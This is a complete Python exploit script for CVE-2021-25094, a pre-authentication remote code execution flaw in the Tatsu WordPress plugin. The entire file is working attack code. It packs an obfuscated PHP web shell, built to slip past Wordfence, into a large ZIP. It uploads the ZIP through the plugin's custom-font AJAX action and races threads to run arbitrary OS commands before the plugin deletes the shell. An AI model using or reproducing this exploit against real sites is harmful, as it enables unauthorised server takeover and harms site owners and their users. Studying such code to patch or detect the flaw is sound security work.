exploit-race.py

#!/usr/bin/python3
# coding: utf-8

# Tatsudo: Tatsu <= 3.3.11 pre-auth RCE exploit via Race condition
# The exploit bypass Wordfence
#
# Product: Tatsu wordpress plugin <= 3.3.11
# CVE: CVE-2021-25094 / Vincent MICHEL (@darkpills)
# Editor: Tasubuilder / BrandExponents.com
# URL: https://tatsubuilder.com/


import sys
import requests
import argparse
import urllib3
import threading
import time
import base64
import queue
import io
import os
import zipfile
import string
import random
from datetime import datetime

urllib3.disable_warnings()

class HTTPCaller(): 

	def __init__(self, url, headers, proxies, cmd):		
		self.url = url
		self.headers = headers
		self.proxies = proxies
		self.cmd = cmd
		self.encodedCmd = base64.b64encode(cmd.encode("utf8"))
		self.zipname = None
		self.shellFilename = None

		if self.url[-1] == '/':
			self.url = self.url[:-1]

		if proxies:
			self.proxies = {"http"  : proxies, "https" : proxies}
		else:
			self.proxies = {}

	def generateZip(self, nbFiles, compressionLevel, customShell):
		buffer = io.BytesIO()
		with zipfile.ZipFile(buffer, "w", zipfile.ZIP_DEFLATED, False, compressionLevel) as zipFile:

			# Write shell first
			if customShell and os.path.isfile(customShell):
				with open(customShell) as f:
					shell = f.readlines()
				shell = "\n".join(shell)
			else:
				# a lazy obfuscated shell, basic bypass Wordfence
				# i would change base64 encoding for something better
				shell = "<?php "
				shell += "$f = \"lmeyst\";"
				shell += "@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];"
				shell += "@$words = array(base64_decode($_POST['text']));"
				shell += "$j=\"array\".\"_\".\"filter\";"
				shell += "@$filtered_words = $j($words, $a);"

			self.zipname = ''.join(random.choice(string.ascii_lowercase) for i in range(3))
			self.shellFilename = ''.join(random.choice(string.ascii_lowercase) for i in range(5)) + ".php"
			zipFile.writestr(self.shellFilename, shell)

			for i in range(nbFiles):
				filename = ('%x' % random.randrange(16**32)) + ".txt"
				content = ('%x' % random.randrange(16**65))
				zipFile.writestr(filename, content)

		self.zipFile = buffer

	def getShellUrl(self):
		return "%s/wp-content/uploads/typehub/custom/%s/%s" % (self.url, self.zipname, self.shellFilename)

	def executeCmd(self):		
		return requests.post(url = self.getShellUrl(), data = {"text": self.encodedCmd}, headers = self.headers, proxies = self.proxies, verify=False)

	def upload(self):
		url = "%s/wp-admin/admin-ajax.php" % self.url
		files = {"file": ("%s.zip" % self.zipname, self.zipFile.getvalue())}
		return requests.post(url = url, data = {"action": "add_custom_font"}, files = files, headers = self.headers, proxies = self.proxies, verify=False)

class HTTPCallThread (threading.Thread):
	def __init__(self, threadID, caller, startevent, result):
		threading.Thread.__init__(self)
		self.threadID = threadID
		self.caller = caller
		self.result = result
		self.startrequest = startevent
		self.stoprequest = threading.Event()

	def run(self):
		while not self.startrequest.is_set():
			time.sleep(0.1)
		
		while not self.stoprequest.is_set():
			r = self.caller.executeCmd()
			if r.status_code == 200:
				self.result.put(r.text)
				break


	def join(self, timeout=None):
		self.stoprequest.set()
		super(HTTPCallThread, self).join(timeout)

def main():
	print("")
	print("|=== Tatsudo: pre-auth RCE exploit for Tatsu wordpress plugin <= 3.3.8") 
	print("|=== CVE-2021-25094 / Vincent MICHEL (@darkpills)")
	print("")

	parser = argparse.ArgumentParser()
	parser.add_argument("url", help="Wordpress vulnerable URL (example: https://mywordpress.com/)")
	parser.add_argument("cmd", help="OS command to execute")
	parser.add_argument('--nbFiles', help="number of files to put in the zip to influence the unzip time of the server (default: 10000)", default=10000, type=int)
	parser.add_argument('--compressionLevel', help="compression level of the zip file (0 to 9, default 9)", default=9, type=int)
	parser.add_argument('--threads', help="number of threads to spawn for race condition (default 10)", default=10, type=int)
	parser.add_argument('--timeout', help="timeout after initial file upload before killing child threads (default 30)", default=30, type=int)
	parser.add_argument('--proxy', help="Specify and use an HTTP proxy (example: http://localhost:8080)")
	parser.add_argument('--customShell', help="Provide a custom PHP shell file that will take a base64 cmd as $_POST['text'] input")
	

	args = parser.parse_args()
	
	# Use web browser-like header
	headers = {
		"X-Requested-With": "XMLHttpRequest",
		"Origin": args.url,
		"Referer": args.url,
		"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36",
		"Accept": "*/*",
		"Accept-Language": "en-US,en;q=0.9"
	}

	caller = HTTPCaller(args.url, headers, args.proxy, args.cmd)
	
	print("[+] Generating a big zip with %d files and obfuscated shell" % args.nbFiles)
	caller.generateZip(args.nbFiles, args.compressionLevel, args.customShell)
	print("[+] Zip file size: %dkB" % int(len(caller.zipFile.getvalue()) / (1024)))
	result = queue.Queue()
	startevent = threading.Event()	

	# Create new threads
	print("[+] Starting %d threads" % args.threads)
	threads = []
	for i in range(args.threads):
		thread = HTTPCallThread(i, caller, startevent, result)
		thread.start()
		threads.append(thread)
	
	# Wait for threads to start
	time.sleep(2)
	print("[+] Enabling threads to pull shell URL %s (removed by the plugin after exploit)" % caller.getShellUrl())
	# Make them start to pull the shell URL where it will be supposed to be
	startevent.set()

	print("[+] Uploading zip archive to %s/wp-admin/admin-ajax.php?action=add_custom_font so please wait..." % (args.url))
	r = caller.upload()
	if (r.status_code == 200 and r.text == '{"status":"invalid_zip"}'):
		print("[+] Upload OK")
	else:
		print("[!] Got an unexpected HTTP response: %d with content:\n%s" % (r.status_code, r.text))
		print("[!] Not sure the rest will work...")

	try:
		print("[+] Waiting for the shell to be unziped...")
		# try to get the first element put by the threads in the queue (FIFO)
		cmdText = result.get(True, args.timeout)
		print("[+] Exploit success!")
		print(cmdText)
	except queue.Empty:
		print("[!] Exploit failed :(")
		print("Try to retry: race condition exploit is not an exact science")
		print("Try to increase the number of files in the archive --nbFiles")
		print("Try to increase the number of threads --threads")

	# Stop remaining threads
	print("[+] Cleaning-up threads")
	for t in threads:
		t.join()
	
	print("[+] Job done")

if __name__ == '__main__':
    main()